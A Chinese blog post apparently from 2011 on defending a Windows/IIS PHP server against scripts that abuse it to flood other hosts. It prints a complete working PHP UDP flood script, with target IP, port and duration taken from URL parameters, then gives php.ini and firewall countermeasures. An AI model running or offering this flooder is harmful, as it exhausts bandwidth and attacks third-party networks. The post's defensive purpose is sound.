防止用户利用PHP代码DOS造成用光网络带宽


Posted in PHP onMarch 01, 2011

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:

$packets = 0; 
$ip = $_GET[\'ip\']; 
$rand = $_GET[\'port\']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_GET[\'time\']; 
$time = time(); 
print \"Flooded: $ip on port $rand 
\"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= \"X\"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\"; 
?>

表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词
PHP 相关文章推荐
PHP文件下载类
Dec 06 PHP
PHP MVC模式在网站架构中的实现分析
Mar 04 PHP
php下统计用户在线时间的一种尝试
Aug 26 PHP
解决php使用异步调用获取数据时出现(错误c00ce56e导致此项操作无法完成)
Jul 03 PHP
php身份证号码检查类实例
Jun 18 PHP
Session 失效的原因汇总及解决丢失办法
Sep 30 PHP
php中preg_match的isU代表什么意思
Oct 01 PHP
PHP实现从上往下打印二叉树的方法
Jan 18 PHP
支持汉转拼和拼音分词的PHP中文工具类ChineseUtil
Feb 23 PHP
php对象工厂类完整示例
Aug 09 PHP
Laravel框架实现文件上传的方法分析
Sep 29 PHP
laravel excel 上传文件保存到本地服务器功能
Nov 14 PHP
php Smarty 字符比较代码
Feb 27 #PHP
php下批量挂马和批量清马代码
Feb 27 #PHP
php SQL Injection with MySQL
Feb 27 #PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 #PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
You might like
PHP处理bmp格式图片的方法分析
2017/07/04 PHP
JavaScript 计算当天是本年本月的第几周
2009/03/22 Javascript
JS字符串累加Array不一定比字符串累加快(根据电脑配置)
2012/05/14 Javascript
JavaScript版TAB选项卡效果实例
2013/08/16 Javascript
巧用js提交表单轻松解决一个页面有多个提交按钮
2013/11/17 Javascript
Javascript 按位取反运算符 (~)
2014/02/04 Javascript
javascript设计模式之解释器模式详解
2014/06/05 Javascript
基于jquery和svg实现超炫酷的动画特效
2014/12/09 Javascript
浅谈javascript中onbeforeunload与onunload事件
2015/12/10 Javascript
如何使用Bootstrap的modal组件自定义alert,confirm和modal对话框
2016/03/01 Javascript
JavaScript实现简单Tip提示框效果
2016/04/20 Javascript
JavaScript中用let语句声明作用域的用法讲解
2016/05/20 Javascript
AngularJS实现动态编译添加到dom中的方法
2016/11/04 Javascript
Vue.js上下滚动加载组件的实例代码
2017/07/17 Javascript
动手写一个angular版本的Message组件的方法
2017/12/16 Javascript
使用vue-cli webpack 快速搭建项目的代码
2018/11/21 Javascript
jquery 验证用户名是否重复代码实例
2019/05/14 jQuery
Node4-5静态资源服务器实战以及优化压缩文件实例内容
2019/08/29 Javascript
浅谈Vue组件单元测试究竟测试什么
2020/02/05 Javascript
Python中字典创建、遍历、添加等实用操作技巧合集
2015/06/02 Python
python中list列表的高级函数
2016/05/17 Python
python Crypto模块的安装与使用方法
2017/12/21 Python
Python编写Windows Service服务程序
2018/01/04 Python
python 实现selenium断言和验证的方法
2019/02/13 Python
python3实现小球转动抽奖小游戏
2020/04/15 Python
Python Pandas分组聚合的实现方法
2019/07/02 Python
django的聚合函数和aggregate、annotate方法使用详解
2019/07/23 Python
Python 日期时间datetime 加一天,减一天,加减一小时一分钟,加减一年
2020/04/16 Python
Python基于requests实现模拟上传文件
2020/04/21 Python
详解pycharm连接远程linux服务器的虚拟环境的方法
2020/11/13 Python
HTML5 canvas实现雪花飘落特效
2016/03/08 HTML / CSS
如何写出好的Java代码
2014/04/25 面试题
2014年高中班主任工作总结
2014/11/08 职场文书
办公室禁烟通知
2015/04/23 职场文书
《猴王出世》教学反思
2016/02/23 职场文书
mysql使用 not int 子查询隐含陷阱
2022/04/12 MySQL